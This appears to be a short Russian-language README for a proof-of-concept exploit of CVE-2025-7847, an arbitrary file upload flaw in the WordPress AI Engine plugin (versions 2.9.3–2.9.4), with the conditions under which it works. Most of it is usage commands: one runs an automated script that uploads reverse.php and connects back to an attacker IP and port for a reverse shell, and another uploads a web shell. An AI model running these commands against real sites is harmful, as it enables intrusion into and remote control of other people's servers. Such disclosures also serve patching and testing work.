CVE-2025-7847 Wordpress Plugin - Произвольная загрузка файлов аутентифицированным подписчиком (POC)

Плагин Wordpress AI Engine 2.9.3 - 2.9.4 Proof Of Concept

Обратите внимание, что данная уязвимость может быть использована только в том случае, если включена опция «Public API», которая отключена по умолчанию, и не настроен Bearer Token, а также не добавлена и не используется кастомная аутентификация для защиты API.

Автоматическая версия

python3 exploit-auto.py --url "http://target.com" --username "Admin" --password "L87*********C4u" --file reverse.php --attacker-ip 127.0.0.1 --attacker-port 4444

Только загрузка веб-шелла

python3 exploit.py \                                                                                                                          
  --url "http://target.com/" \
  --username "Admin" \
  --password "L87*********C4u" \
  --file shell.php